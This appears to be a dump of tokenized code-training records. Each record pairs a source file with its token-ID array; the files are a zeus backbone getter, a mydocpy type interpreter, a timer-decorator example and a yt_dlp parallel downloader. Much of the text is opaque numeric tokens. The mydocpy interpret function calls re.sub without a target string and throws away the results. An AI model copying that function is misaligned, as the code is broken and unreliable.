13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
29889,
29894,
386,
5062,
29918,
20095,
353,
263,
29896,
29900,
20095,
29889,
29963,
1349,
5062,
11481,
580,
13,
4706,
1583,
29889,
27728,
29918,
20095,
353,
263,
29896,
29900,
20095,
29889,
5896,
22031,
25856,
11481,
580,
13,
13,
1678,
822,
5217,
29918,
1025,
29918,
314,
561,
2207,
29872,
29898,
1311,
1125,
13,
4706,
9995,
5596,
29879,
278,
6535,
363,
2030,
626,
561,
2207,
322,
7374,
267,
963,
2729,
373,
967,
5046,
1213,
15945,
13,
4706,
1518,
29918,
482,
353,
12865,
29889,
9346,
287,
2554,
29898,
13,
9651,
6923,
29922,
6007,
29943,
29889,
29874,
29896,
29900,
29918,
8697,
29918,
17462,
292,
29889,
314,
561,
2207,
29918,
4548,
16129,
29918,
482,
29897,
13,
13,
4706,
4867,
353,
4833,
29918,
2754,
29889,
657,
29918,
7924,
580,
13,
4706,
21332,
29918,
4841,
353,
1583,
29889,
29894,
386,
5062,
29918,
20095,
29889,
657,
29918,
497,
29918,
311,
22742,
29918,
4548,
8491,
29898,
7924,
29892,
13,
462,
462,
462,
795,
1518,
29918,
482,
29922,
4548,
29918,
482,
29897,
13,
4706,
25401,
29889,
3888,
877,
29963,
1349,
5062,
18999,
29901,
1273,
29879,
742,
21332,
29918,
4841,
29897,
13,
13,
4706,
363,
21332,
29918,
333,
297,
21332,
29918,
4841,
29901,
13,
9651,
25401,
29889,
3888,
877,
4165,
3456,
292,
304,
3708,
479,
4833,
2407,
363,
478,
1349,
5062,
3553,
29901,
1273,
29879,
742,
13,
462,
268,
21332,
29918,
333,
29897,
13,
9651,
1583,
29889,
29894,
386,
5062,
29918,
20095,
29889,
8143,
29898,
7924,
29892,
1178,
29922,
1160,
29918,
333,
29897,
13,
9651,
25401,
29889,
3888,
877,
29925,
2007,
287,
4833,
2407,
363,
1913,
561,
2207,
3553,
29901,
1273,
29879,
742,
21332,
29918,
333,
29897,
13,
13,
1678,
822,
5941,
786,
29918,
1359,
29918,
5521,
4564,
414,
29898,
1311,
1125,
13,
4706,
9995,
5596,
29879,
278,
6535,
363,
2030,
2254,
6411,
4564,
414,
322,
23660,
1009,
28744,
1213,
15945,
13,
4706,
1518,
29918,
482,
353,
12865,
29889,
9346,
287,
2554,
29898,
13,
9651,
6923,
29922,
6007,
29943,
29889,
29874,
29896,
29900,
29918,
8697,
29918,
17462,
292,
29889,
1359,
29918,
5521,
25856,
29918,
4548,
16129,
29918,
482,
29897,
13,
13,
4706,
4867,
353,
4833,
29918,
2754,
29889,
657,
29918,
7924,
580,
13,
4706,
27981,
29918,
4841,
353,
1583,
29889,
27728,
29918,
20095,
29889,
657,
29918,
497,
29918,
311,
22742,
29918,
4548,
8491,
29898,
7924,
29892,
13,
462,
462,
462,
539,
1518,
29918,
482,
29922,
4548,
29918,
482,
29897,
13,
4706,
25401,
29889,
3888,
877,
5896,
6411,
25856,
18999,
29901,
1273,
29879,
742,
27981,
29918,
4841,
29897,
13,
4706,
363,
27981,
29918,
333,
297,
27981,
29918,
4841,
29901,
13,
9651,
25401,
29889,
3888,
877,
4165,
3456,
292,
304,
5217,
2254,
6411,
25856,
1178,
584,
1273,
29879,
742,
27981,
29918,
333,
29897,
13,
9651,
1583,
29889,
27728,
29918,
20095,
29889,
8143,
29898,
7924,
29892,
1178,
29922,
27728,
29918,
333,
29897,
13,
9651,
25401,
29889,
3888,
877,
2772,
22742,
2254,
6411,
25856,
1178,
584,
1273,
29879,
742,
27981,
29918,
333,
29897,
13,
2
] |
zeus/networks/pytorch/backbones/getter.py | shaido987/vega | 1 | 12142 | <filename>zeus/networks/pytorch/backbones/getter.py
# -*- coding: utf-8 -*-
# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the MIT License.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# MIT License for more details.
"""ResNetVariant for Detection."""
from zeus.common import ClassType, ClassFactory
from zeus.modules.connections.connections import MultiOutputGetter
@ClassFactory.register(ClassType.NETWORK)
class BackboneGetter(MultiOutputGetter):
"""Backbone Getter form torchvision ResNet."""
def __init__(self, backbone_name, layer_names=None, **kwargs):
backbone = ClassFactory.get_cls(ClassType.NETWORK, backbone_name)
backbone = backbone(**kwargs) if kwargs else backbone()
if hasattr(backbone, "layers_name"):
layer_names = backbone.layers_name()
layer_names = layer_names or ['layer1', 'layer2', 'layer3', 'layer4']
super(BackboneGetter, self).__init__(backbone, layer_names)
| [
1,
529,
9507,
29958,
911,
375,
29914,
11618,
29879,
29914,
2272,
7345,
305,
29914,
1627,
29890,
2873,
29914,
657,
357,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
29937,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29906,
29900,
29889,
379,
3357,
26599,
8364,
11763,
3189,
1696,
19806,
29889,
2178,
10462,
21676,
29889,
13,
29937,
910,
1824,
338,
3889,
7047,
29936,
366,
508,
2654,
391,
2666,
372,
322,
29914,
272,
6623,
13,
29937,
372,
1090,
278,
4958,
310,
278,
341,
1806,
19245,
29889,
13,
29937,
910,
1824,
338,
13235,
297,
278,
4966,
393,
372,
674,
367,
5407,
29892,
13,
29937,
541,
399,
1806,
8187,
2692,
13764,
29979,
399,
1718,
29934,
13566,
29979,
29936,
1728,
1584,
278,
2411,
2957,
1370,
21867,
29891,
310,
13,
29937,
341,
1001,
3210,
13566,
2882,
6227,
11937,
470,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
29889,
2823,
278,
13,
29937,
341,
1806,
19245,
363,
901,
4902,
29889,
13,
13,
15945,
29908,
1666,
6779,
10444,
424,
363,
360,
2650,
428,
1213,
15945,
13,
3166,
3777,
375,
29889,
9435,
1053,
4134,
1542,
29892,
4134,
5126,
13,
3166,
3777,
375,
29889,
7576,
29889,
11958,
1953,
29889,
11958,
1953,
1053,
14974,
6466,
2577,
357,
13,
13,
13,
29992,
2385,
5126,
29889,
9573,
29898,
2385,
1542,
29889,
6006,
11686,
29968,
29897,
13,
1990,
7437,
15933,
2577,
357,
29898,
15329,
6466,
2577,
357,
1125,
13,
1678,
9995,
5841,
15933,
3617,
357,
883,
4842,
305,
4924,
2538,
6779,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1250,
15933,
29918,
978,
29892,
7546,
29918,
7039,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
1250,
15933,
353,
4134,
5126,
29889,
657,
29918,
25932,
29898,
2385,
1542,
29889,
6006,
11686,
29968,
29892,
1250,
15933,
29918,
978,
29897,
13,
4706,
1250,
15933,
353,
1250,
15933,
29898,
1068,
19290,
29897,
565,
9049,
5085,
1683,
1250,
15933,
580,
13,
4706,
565,
756,
5552,
29898,
1627,
15933,
29892,
376,
29277,
29918,
978,
29908,
1125,
13,
9651,
7546,
29918,
7039,
353,
1250,
15933,
29889,
29277,
29918,
978,
580,
13,
4706,
7546,
29918,
7039,
353,
7546,
29918,
7039,
470,
6024,
13148,
29896,
742,
525,
13148,
29906,
742,
525,
13148,
29941,
742,
525,
13148,
29946,
2033,
13,
4706,
2428,
29898,
5841,
15933,
2577,
357,
29892,
1583,
467,
1649,
2344,
12035,
1627,
15933,
29892,
7546,
29918,
7039,
29897,
13,
2
] |
mydocpy/types.py | R1tschY/mydocpy | 0 | 189923 | <filename>mydocpy/types.py
# -*- coding=utf-8 -*-
#
# Copyright 2017 <NAME>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import re
from collections import namedtuple
from typing import Text, Tuple, Sequence
ImportedType = namedtuple("ImportedType", ["module", "name"])
class TypeInterpreter(object):
# options
# imports.prevered_import = typing | collections
def interpret(self, type_expr):
# type: (Text) -> Tuple[Text, Sequence[ImportedType]]
"""
Interpret a user type expression to a python type hint
:param type_expr: type expression (for example:
``List[int]`` or ``list<int>``)
:return: Type hint expression and needed imports
"""
re.sub(r"(\S+)\s*->\s*(\S+)", "Callable[[\1], \2]")
re.sub(r"(\S+)\s*|\s*(\S+)+", "Union[\1, \2]")
re.sub(r"[<(]", "[")
re.sub(r"[>)]", "]")
return (type_expr, ())
typing_replacements = {
"dict": "Dict",
"list": "List",
"set": "Set",
"tuple": "Tuple",
"defaultdict": "DefaultDict",
"frozenset": "FrozenSet",
"namedtuple": "NamedTuple",
"deque": "Deque",
"str": "ByteString",
"unicode": "Text",
"string": "Text",
"object": "Any",
"function": "Callable"
}
builtin_replacements = {
"integer": "int",
"long": "int",
"double": "float",
"real": "float",
"floating point": "float"
}
| [
1,
529,
9507,
29958,
1357,
1514,
2272,
29914,
8768,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29922,
9420,
29899,
29947,
448,
29930,
29899,
13,
29937,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29955,
529,
5813,
29958,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
337,
13,
3166,
16250,
1053,
4257,
23583,
13,
13,
3166,
19229,
1053,
3992,
29892,
12603,
552,
29892,
922,
3910,
13,
13,
17518,
287,
1542,
353,
4257,
23583,
703,
17518,
287,
1542,
613,
6796,
5453,
613,
376,
978,
20068,
13,
13,
13,
1990,
5167,
4074,
1457,
357,
29898,
3318,
1125,
13,
13,
1678,
396,
3987,
13,
1678,
396,
24802,
29889,
1457,
369,
287,
29918,
5215,
353,
19229,
891,
16250,
13,
13,
1678,
822,
6613,
29898,
1311,
29892,
1134,
29918,
13338,
1125,
13,
4706,
396,
1134,
29901,
313,
1626,
29897,
1599,
12603,
552,
29961,
1626,
29892,
922,
3910,
29961,
17518,
287,
1542,
5262,
13,
4706,
9995,
13,
4706,
4124,
19819,
263,
1404,
1134,
4603,
304,
263,
3017,
1134,
13182,
13,
4706,
584,
3207,
1134,
29918,
13338,
29901,
1134,
4603,
313,
1454,
1342,
29901,
13,
9651,
4954,
1293,
29961,
524,
7961,
29952,
470,
4954,
1761,
29966,
524,
13885,
6348,
13,
4706,
584,
2457,
29901,
5167,
13182,
4603,
322,
4312,
24802,
13,
4706,
9995,
13,
4706,
337,
29889,
1491,
29898,
29878,
29908,
1194,
29903,
29974,
2144,
29879,
29930,
976,
29905,
29879,
29930,
1194,
29903,
29974,
19123,
376,
5594,
519,
29961,
7110,
29896,
1402,
320,
29906,
29962,
1159,
13,
4706,
337,
29889,
1491,
29898,
29878,
29908,
1194,
29903,
29974,
2144,
29879,
29930,
4295,
29879,
29930,
1194,
29903,
29974,
7240,
613,
376,
19986,
7110,
29896,
29892,
320,
29906,
29962,
1159,
13,
13,
4706,
337,
29889,
1491,
29898,
29878,
29908,
29961,
29966,
29898,
29962,
613,
14704,
1159,
13,
4706,
337,
29889,
1491,
29898,
29878,
29908,
29961,
29958,
4638,
613,
376,
29962,
1159,
13,
13,
4706,
736,
313,
1853,
29918,
13338,
29892,
313,
876,
13,
13,
4706,
19229,
29918,
3445,
4620,
4110,
353,
426,
13,
9651,
376,
8977,
1115,
376,
21533,
613,
13,
9651,
376,
1761,
1115,
376,
1293,
613,
13,
9651,
376,
842,
1115,
376,
2697,
613,
13,
9651,
376,
23583,
1115,
376,
23215,
552,
613,
13,
9651,
376,
4381,
8977,
1115,
376,
4592,
21533,
613,
13,
9651,
376,
29888,
16997,
575,
300,
1115,
376,
29943,
307,
2256,
2697,
613,
13,
9651,
376,
17514,
23583,
1115,
376,
22175,
23215,
552,
613,
13,
9651,
376,
311,
802,
1115,
376,
2772,
802,
613,
13,
9651,
376,
710,
1115,
376,
12901,
1231,
613,
13,
9651,
376,
2523,
356,
1115,
376,
1626,
613,
13,
9651,
376,
1807,
1115,
376,
1626,
613,
13,
9651,
376,
3318,
1115,
376,
10773,
613,
13,
9651,
376,
2220,
1115,
376,
5594,
519,
29908,
13,
4706,
500,
13,
13,
4706,
4240,
262,
29918,
3445,
4620,
4110,
353,
426,
13,
9651,
376,
16031,
1115,
376,
524,
613,
13,
9651,
376,
5426,
1115,
376,
524,
613,
13,
9651,
376,
8896,
1115,
376,
7411,
613,
13,
9651,
376,
6370,
1115,
376,
7411,
613,
13,
9651,
376,
29888,
417,
1218,
1298,
1115,
376,
7411,
29908,
13,
4706,
500,
13,
13,
13,
13,
2
] |
Chapter39.Decorators/3-timerdeco1.py | mindnhand/Learning-Python-5th | 0 | 177319 | #!/usr/bin/env python3
#encoding=utf-8
#-----------------------------------------------
# Usage: python3 3-timerdeco1.py
# Description: timing function decorators
#-----------------------------------------------
import sys
import time
force = list if sys.version_info[0] == 3 else lambda X: X
class Timer:
def __init__(self, func):
self.func = func
self.alltime = 0
def __call__(self, *args, **kwargs):
start = time.time()
result = self.func(*args, **kwargs)
elapsed = time.time() - start
self.alltime += elapsed
print('%s: %.5f, %.5f' % (self.func.__name__, elapsed, self.alltime))
return result
@Timer
def listcomp(n):
return [x * 2 for x in range(n)]
@Timer
def mapcall(n):
return force(map((lambda x: x * 2), range(n)))
if __name__ == '__main__':
print('\n\033[1;35mEntrance\033[0m\n')
print('\033[1;37mlistcomp function\033[0m')
result = listcomp(5)
listcomp(50000)
listcomp(500000)
listcomp(1000000)
print(result)
print('allTime = %s' % listcomp.alltime)
print('\n')
print('\033[1;37mmapcall function\033[0m')
result = mapcall(5)
mapcall(50000)
mapcall(500000)
mapcall(1000000)
print(result)
print('allTime = %s' % mapcall.alltime)
print('\nmapcall = %s' % round(mapcall.alltime / listcomp.alltime, 3))
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
29937,
22331,
29922,
9420,
29899,
29947,
13,
13,
13,
29937,
2683,
2683,
9072,
5634,
13,
29937,
10783,
482,
29901,
3017,
29941,
29871,
29941,
29899,
20404,
311,
1111,
29896,
29889,
2272,
13,
29937,
12953,
29901,
28750,
740,
10200,
4097,
13,
29937,
2683,
2683,
9072,
5634,
13,
13,
13,
5215,
10876,
13,
5215,
931,
13,
13,
13,
10118,
353,
1051,
565,
10876,
29889,
3259,
29918,
3888,
29961,
29900,
29962,
1275,
29871,
29941,
1683,
14013,
1060,
29901,
1060,
13,
13,
1990,
29168,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3653,
1125,
13,
4706,
1583,
29889,
9891,
353,
3653,
13,
4706,
1583,
29889,
497,
2230,
353,
29871,
29900,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
1369,
353,
931,
29889,
2230,
580,
13,
4706,
1121,
353,
1583,
29889,
9891,
10456,
5085,
29892,
3579,
19290,
29897,
13,
4706,
560,
28170,
353,
931,
29889,
2230,
580,
448,
1369,
13,
4706,
1583,
29889,
497,
2230,
4619,
560,
28170,
13,
4706,
1596,
877,
29995,
29879,
29901,
18695,
29945,
29888,
29892,
18695,
29945,
29888,
29915,
1273,
313,
1311,
29889,
9891,
17255,
978,
1649,
29892,
560,
28170,
29892,
1583,
29889,
497,
2230,
876,
13,
4706,
736,
1121,
13,
13,
13,
13,
29992,
14745,
13,
1753,
1051,
2388,
29898,
29876,
1125,
13,
1678,
736,
518,
29916,
334,
29871,
29906,
363,
921,
297,
3464,
29898,
29876,
4638,
13,
13,
13,
29992,
14745,
13,
1753,
2910,
4804,
29898,
29876,
1125,
13,
1678,
736,
4889,
29898,
1958,
3552,
2892,
921,
29901,
921,
334,
29871,
29906,
511,
3464,
29898,
29876,
4961,
13,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1596,
28909,
29876,
29905,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29945,
29885,
2369,
509,
749,
29905,
29900,
29941,
29941,
29961,
29900,
29885,
29905,
29876,
1495,
13,
1678,
1596,
28909,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29955,
828,
391,
2388,
740,
29905,
29900,
29941,
29941,
29961,
29900,
29885,
1495,
13,
1678,
1121,
353,
1051,
2388,
29898,
29945,
29897,
13,
1678,
1051,
2388,
29898,
29945,
29900,
29900,
29900,
29900,
29897,
13,
1678,
1051,
2388,
29898,
29945,
29900,
29900,
29900,
29900,
29900,
29897,
13,
1678,
1051,
2388,
29898,
29896,
29900,
29900,
29900,
29900,
29900,
29900,
29897,
13,
1678,
1596,
29898,
2914,
29897,
13,
1678,
1596,
877,
497,
2481,
353,
1273,
29879,
29915,
1273,
1051,
2388,
29889,
497,
2230,
29897,
13,
1678,
1596,
28909,
29876,
1495,
13,
268,
13,
1678,
1596,
28909,
29900,
29941,
29941,
29961,
29896,
29936,
29941,
29955,
29885,
1958,
4804,
740,
29905,
29900,
29941,
29941,
29961,
29900,
29885,
1495,
13,
1678,
1121,
353,
2910,
4804,
29898,
29945,
29897,
13,
1678,
2910,
4804,
29898,
29945,
29900,
29900,
29900,
29900,
29897,
13,
1678,
2910,
4804,
29898,
29945,
29900,
29900,
29900,
29900,
29900,
29897,
13,
1678,
2910,
4804,
29898,
29896,
29900,
29900,
29900,
29900,
29900,
29900,
29897,
13,
1678,
1596,
29898,
2914,
29897,
13,
1678,
1596,
877,
497,
2481,
353,
1273,
29879,
29915,
1273,
2910,
4804,
29889,
497,
2230,
29897,
13,
1678,
1596,
28909,
29876,
1958,
4804,
353,
1273,
29879,
29915,
1273,
4513,
29898,
1958,
4804,
29889,
497,
2230,
847,
1051,
2388,
29889,
497,
2230,
29892,
29871,
29941,
876,
13,
2
] |
yt_dlp/downloader/parallel.py | evolution-ant/local-youtube-dl | 0 | 198009 | import os
import threading
import time
import socket
import json
import re
from .common import FileDownloader
from .http import HttpFD
from ..compat import (
compat_str,
compat_urllib_error,
)
from ..utils import (
encodeFilename,
int_or_none,
sanitize_open,
sanitized_Request,
)
class ParallelFD(FileDownloader):
def real_download(self, filename, info_dict):
class DownloadContext(dict):
__getattr__ = dict.get
__setattr__ = dict.__setitem__
__delattr__ = dict.__delitem__
def start_parallel_download(thread_id, range_start, range_end, retries = 5):
if range_start >= range_end:
self.report_warning("range end longer than range start.")
return
request = sanitized_Request(url, None, headers)
set_range(request, range_start, range_end)
try:
response = self.ydl.urlopen(request)
content_range = response.headers.get('Content-Range')
if content_range:
content_range_m = re.search(r'bytes (\d+)-(\d+)?(?:/(\d+))?', content_range)
content_range_start = int(content_range_m.group(1))
self.to_screen("thread: {}, current: {}, tototal: {}, start: {}, end {}, content start:{} content end:{}".format(thread_id, ctx.resume_cfg[thread_id].get('current', 0), (range_end - range_start), range_start, range_end, content_range_start, content_range_m.group(2)))
if range_start == content_range_start:
content_range_end = int_or_none(content_range_m.group(2))
offset = range_start
start_time = time.time()
while True:
while True:
try:
content = response.read(ctx.block_size)
break
except socket.timeout as e:
self.report_warning(e.strerror + ' try times: ' + retries)
start_parallel_download(thread_id, offset, range_end, retries-1)
break
except socket.error as e:
self.report_warning(e.strerror + (' try times: ' + retries))
start_parallel_download(thread_id, offset, range_end, retries-1)
break
if not content:
if abs(content_range_end - offset) > 1:
start_parallel_download(thread_id, offset, content_range_end)
self.report_warning("expect end in %d,but offset: %d not end" % (content_range_end, offset))
break
else:
break
self.slow_down(start_time, time.time(), offset - content_range_start)
self._hook_progress(None)
with ctx.lock:
ctx.stream.seek(offset)
ctx.stream.write(content)
offset = offset + len(content)
ctx.resume_cfg[thread_id]['start'] = offset
ctx.resume_cfg[thread_id]['end'] = range_end
if ctx.resume_cfg[thread_id].get("current", 0) == 0:
ctx.resume_cfg[thread_id]['current'] = len(content)
else:
ctx.resume_cfg[thread_id]['current'] += len(content)
ctx.downloaded_bytes += len(content)
else:
start_parallel_download(thread_id, content_range_start, range_end, retries)
self.report_warning("not suppport start:%s should be %%s" % (range_start, content_range_start))
else:
self.report_warning('Not found content-range')
raise ValueError
except (compat_urllib_error.HTTPError, ) as err:
self.report_warning("connect error.")
if retries == 0:
return
start_parallel_download(thread_id, range_start, range_end, retries - 1)
def speed_calc():
start = time.time()
now = time.time()
ctx.before_byte_counter = ctx.downloaded_bytes
while True:
now = time.time()
ctx.resume_cfg_stream.seek(0)
ctx.resume_cfg_stream.truncate(0)
ctx.resume_cfg_stream.flush()
ctx.resume_cfg_stream.write(json.dumps(ctx.resume_cfg))
ctx.resume_cfg_stream.flush()
speed = self.calc_speed(start, now, ctx.downloaded_bytes - ctx.before_byte_counter)
eta = self.calc_eta(start, time.time(), ctx.data_len - ctx.before_byte_counter, ctx.downloaded_bytes - ctx.before_byte_counter)
self._hook_progress({
'status': 'downloading',
'downloaded_bytes': ctx.downloaded_bytes,
'total_bytes': ctx.data_len,
'filename': ctx.filename,
'eta': eta,
'speed': speed,
'elapsed': now - ctx.start_time,
})
start = time.time()
ctx.before_byte_counter = ctx.downloaded_bytes
time.sleep(1)
if ctx.downloaded_bytes >= ctx.data_len:
self._hook_progress({
'downloaded_bytes': ctx.data_len,
'total_bytes': ctx.data_len,
'filename': ctx.filename,
'status': 'finished',
'elapsed': time.time() - ctx.start_time,
})
break
def set_range(req, start, end):
range_header = 'bytes=%d-' % start
if end:
range_header += compat_str(end)
req.add_header('Range', range_header)
url = info_dict['url']
ctx = DownloadContext()
ctx.filename = filename
ctx.tmpfilename = self.temp_name(filename)
ctx.resume_file = ctx.tmpfilename + '.json'
ctx.stream = None
ctx.start_time = time.time()
ctx.block_size = self.params.get('buffersize', 1024)
headers = {'Youtubedl-no-compression': 'True'}
add_headers = info_dict.get('http_headers')
if add_headers:
headers.update(add_headers)
max_try_num = int_or_none(self.params.get('retries', 10))
request = sanitized_Request(url, headers = headers)
ctx.data = self.ydl.urlopen(request)
data_len = int_or_none(ctx.data.info().get('Content-length', None))
if data_len is not None and data_len > 0:
# Not support multiple thread download.
if ctx.data.info().get('Accept-Ranges', None) is None:
return HttpFD.real_download(self , filename, info_dict)
ctx.resume_cfg = []
#region Init file streams
# Create files if not exist
if os.path.isfile(encodeFilename(ctx.tmpfilename)) is False:
f, ctx.tmpfilename = sanitize_open(ctx.tmpfilename, 'wb')
f.close()
if os.path.isfile(ctx.resume_file) is False:
f, ctx.resume_file = sanitize_open(ctx.resume_file, 'w')
f.close()
ctx.stream, ctx.tmpfilename = sanitize_open(ctx.tmpfilename, 'rb+')
ctx.resume_cfg_stream, ctx.resume_file = sanitize_open(ctx.resume_file, 'r+')
assert ctx.stream is not None
assert ctx.resume_cfg_stream is not None
ctx.filename = self.undo_temp_name(ctx.tmpfilename)
self.report_destination(ctx.filename)
#endregion
ctx.lock = threading.Lock()
ctx.data_len = data_len
ranges = []
ctx.thread_count = int(self.params.get('thread_count', 5))
ctx.range_size = int(data_len / ctx.thread_count)
ctx.diff_size = 0
real_size = (ctx.range_size * ctx.thread_count)
if ctx.data_len > real_size:
ctx.diff_size = ctx.data_len - real_size
elif ctx.data_len < real_size:
ctx.diff_size = ctx.data_len - real_size
try:
cfg = json.load(ctx.resume_cfg_stream)
except ValueError as e:
cfg = None
need_download_size = 0
rate_limit = self.params.get('ratelimit')
if rate_limit:
self.params['ratelimit'] = float(rate_limit) / float(ctx.thread_count)
for i in range(ctx.thread_count):
if cfg is not None:
start = cfg[i]['start']
end = cfg[i]['end']
need_download_size = need_download_size + (end - start)
ranges.append((start, end))
else:
need_download_size = data_len
if i == ctx.thread_count - 1:
ranges.append((i * ctx.range_size + 1, data_len))
elif i == 0:
ranges.append((i * ctx.range_size, (i + 1) * ctx.range_size + ctx.diff_size))
else:
ranges.append((i * ctx.range_size + 1, (i + 1) * ctx.range_size))
ctx.downloaded_bytes = data_len - need_download_size
calc_thread = threading.Thread(target=speed_calc)
thread_list = [calc_thread]
thread_id = 0
for ran in ranges:
start, end = ran
ctx.resume_cfg.append({"start": start, "end": end})
thread = threading.Thread(target=start_parallel_download, args=(thread_id, start, end, max_try_num), daemon=True)
thread.start()
thread_list.append(thread)
thread_id = thread_id + 1
calc_thread.start()
for thread in thread_list:
thread.join()
ctx.stream.close()
ctx.resume_cfg_stream.close()
try:
os.remove(ctx.resume_file)
self.try_rename(ctx.tmpfilename, ctx.filename)
except OSError as e:
self.report_warning(e.strerror)
return True
else:
self.report_error('download fail, get content length error.')
return False
| [
1,
1053,
2897,
13,
5215,
3244,
292,
13,
5215,
931,
13,
5215,
9909,
13,
5215,
4390,
13,
5215,
337,
13,
3166,
869,
9435,
1053,
3497,
6767,
12657,
13,
3166,
869,
1124,
1053,
9056,
26453,
13,
3166,
6317,
12667,
1053,
313,
13,
1678,
10007,
29918,
710,
29892,
13,
1678,
10007,
29918,
2271,
1982,
29918,
2704,
29892,
13,
29897,
13,
3166,
6317,
13239,
1053,
313,
13,
1678,
19750,
3434,
3871,
29892,
13,
1678,
938,
29918,
272,
29918,
9290,
29892,
13,
1678,
9753,
277,
675,
29918,
3150,
29892,
13,
1678,
9753,
277,
1891,
29918,
3089,
29892,
13,
29897,
13,
13,
1990,
1459,
6553,
26453,
29898,
2283,
6767,
12657,
1125,
13,
1678,
822,
1855,
29918,
10382,
29898,
1311,
29892,
10422,
29892,
5235,
29918,
8977,
1125,
13,
4706,
770,
25553,
2677,
29898,
8977,
1125,
13,
9651,
4770,
657,
5552,
1649,
353,
9657,
29889,
657,
13,
9651,
4770,
842,
5552,
1649,
353,
9657,
17255,
842,
667,
1649,
13,
9651,
4770,
6144,
5552,
1649,
353,
9657,
17255,
6144,
667,
1649,
13,
13,
4706,
822,
1369,
29918,
23482,
29918,
10382,
29898,
7097,
29918,
333,
29892,
3464,
29918,
2962,
29892,
3464,
29918,
355,
29892,
3240,
2722,
353,
29871,
29945,
1125,
13,
9651,
565,
3464,
29918,
2962,
6736,
3464,
29918,
355,
29901,
13,
18884,
1583,
29889,
12276,
29918,
27392,
703,
3881,
1095,
5520,
1135,
3464,
1369,
23157,
13,
18884,
736,
13,
9651,
2009,
353,
9753,
277,
1891,
29918,
3089,
29898,
2271,
29892,
6213,
29892,
9066,
29897,
13,
9651,
731,
29918,
3881,
29898,
3827,
29892,
3464,
29918,
2962,
29892,
3464,
29918,
355,
29897,
13,
9651,
1018,
29901,
13,
18884,
2933,
353,
1583,
29889,
2941,
29880,
29889,
332,
417,
2238,
29898,
3827,
29897,
13,
18884,
2793,
29918,
3881,
353,
2933,
29889,
13662,
29889,
657,
877,
3916,
29899,
6069,
1495,
13,
18884,
565,
2793,
29918,
3881,
29901,
13,
462,
1678,
2793,
29918,
3881,
29918,
29885,
353,
337,
29889,
4478,
29898,
29878,
29915,
13193,
3441,
29881,
29974,
6817,
1194,
29881,
29974,
6877,
10780,
8419,
1194,
29881,
29974,
876,
29973,
742,
2793,
29918,
3881,
29897,
13,
462,
1678,
2793,
29918,
3881,
29918,
2962,
353,
938,
29898,
3051,
29918,
3881,
29918,
29885,
29889,
2972,
29898,
29896,
876,
13,
462,
1678,
1583,
29889,
517,
29918,
10525,
703,
7097,
29901,
24335,
1857,
29901,
24335,
2025,
7288,
29901,
24335,
1369,
29901,
24335,
1095,
24335,
2793,
1369,
29901,
8875,
2793,
1095,
29901,
8875,
1642,
4830,
29898,
7097,
29918,
333,
29892,
12893,
29889,
690,
2017,
29918,
16859,
29961,
7097,
29918,
333,
1822,
657,
877,
3784,
742,
29871,
29900,
511,
313,
3881,
29918,
355,
448,
3464,
29918,
2962,
511,
3464,
29918,
2962,
29892,
3464,
29918,
355,
29892,
2793,
29918,
3881,
29918,
2962,
29892,
2793,
29918,
3881,
29918,
29885,
29889,
2972,
29898,
29906,
4961,
13,
462,
1678,
565,
3464,
29918,
2962,
1275,
2793,
29918,
3881,
29918,
2962,
29901,
13,
462,
4706,
2793,
29918,
3881,
29918,
355,
353,
938,
29918,
272,
29918,
9290,
29898,
3051,
29918,
3881,
29918,
29885,
29889,
2972,
29898,
29906,
876,
13,
462,
4706,
9210,
353,
3464,
29918,
2962,
13,
462,
4706,
1369,
29918,
2230,
353,
931,
29889,
2230,
580,
13,
462,
4706,
1550,
5852,
29901,
13,
462,
9651,
1550,
5852,
29901,
13,
462,
18884,
1018,
29901,
13,
462,
462,
1678,
2793,
353,
2933,
29889,
949,
29898,
13073,
29889,
1271,
29918,
2311,
29897,
13,
462,
462,
1678,
2867,
